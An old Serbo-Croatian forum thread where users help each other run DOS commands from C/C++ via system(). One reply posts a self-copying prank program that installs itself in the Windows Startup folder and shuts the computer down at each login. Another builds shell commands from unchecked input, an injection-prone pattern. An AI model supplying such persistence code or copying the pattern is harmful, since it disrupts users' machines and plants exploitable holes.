[ 3125 @ 06.03.2006. 13:19 ] @
Da li se moze npr. ako imam varijablu a koja sadrzi tekst "nesto" (to sam prethodno unio u programu, nije konstanta) da DOS-u zadam komandu cd nesto.

Probavao sam System ("cd" a) i slicne sintakse ali ne ide. Pomagajte

Hvala
[ EArthquake @ 06.03.2006. 14:58 ] @
pa mozes to cd da stavis u string , a onda da nataj string dodajes path koji hoces

i da u system() stavis taj string sa sve path , a ne dva stringa ili "cd"pa neki var ....

da pojasnim :

Code:


main(int argc, char **argv)
{
char buff[100];
snprintf(buff,90,"cd %s",argv[1]);
system(buf);
}





[Ovu poruku je menjao EArthquake dana 06.03.2006. u 16:09 GMT+1]

[Ovu poruku je menjao EArthquake dana 06.03.2006. u 16:10 GMT+1]
[ 3125 @ 06.03.2006. 15:04 ] @
OK hvala, probacu. Ovo CD je bilo samo primjer.
[ peromalosutra @ 08.03.2006. 20:35 ] @
Mozes tako svasta da napravis,na primjer:

Code:

//NAKON POKRETANJA PROGRAMA PREPORUCUJEM BRISANJE IZ STARTUP-a
#include <iostream>
#include <cstdlib>
#include <string>
using namespace std;

int main(int argc, char *argv[])
{
    char kom[]="copy \"",
         mid[]="\" \"",
         lok[]="C:\\Documents and Settings\\All Users\\Start Menu\\"
               "Programs\\Startup\\info.exe\"";    
    if (strlen(lok)==strlen(argv[0])+1)
    system("C:\\windows\\system32\\shutdown.exe -s");
    else
    {    
    int length=strlen(kom)+strlen(mid)+strlen(argv[0])+strlen(lok)+1;
    char command[length];
    for (int i=0; i<length; i++)
        command[i]='\0';
    strcat (command, kom);
    strcat (command, argv[0]);
    strcat (command, mid);
    strcat (command, lok);
    system (command);
    }
    return 0;
}



Program je dosta sirov, ali radi posao :)
[ monte_sandman @ 11.12.2006. 16:46 ] @
KAko omoguciti da se f-jom system("dir") sadrzaj iscitavanja upise u neku datoteku?
[ idb @ 11.12.2006. 17:05 ] @
trebalo bi da radi:
dir>sadrzaj.txt
[ monte_sandman @ 11.12.2006. 17:13 ] @
to bi radilo kad bih komandu pozivao iz DOS-a.
Ja pozivam tu funkciju iz C++-a , preko system("komanda"); i onda bih trebao da taj sadrzaj izlistavanja upisem u neku datoteku.
[ idb @ 11.12.2006. 17:37 ] @
Ja sam i mislio da to upotrebis kao argument f-je system("....");, ..., jesi li probao:
Code:
system( "dir>sadrzaj.txt" ); 

Nemam na ovom racunaru nikakav kompajler, ali bi terbalo da radi
[ monte_sandman @ 11.12.2006. 18:05 ] @
xexe prvi put kad sam probao nije moglo,sad moze... hvala
[ vula @ 14.12.2006. 00:46 ] @
dir > sadrzaj.txt

To ti se zove redirekcija. Sa standardnog izlaza a to je u ovom slucaju ekran proslijedjujes u datoteku.
Napravio sam jedan programcic jer mi je trebalo da mi brat sa racunara svog cimera proslijedi spiskove odredjenih sadrzaja a mrzilo ga da kuca.
Posle redirekcije mozes tu datotekicu malo srediti. Pokupis karaktere i malo iz bolje organizujes.
Pozdrav
[ monte_sandman @ 14.12.2006. 20:59 ] @
Da,znam da je u pitanju redirekcija...
A da li moze da se uradi da se pri izvrsavanju system() komandi ne pojavljuje onaj DOS prozor? On se pojavljuje na ms ali me nervira strasno.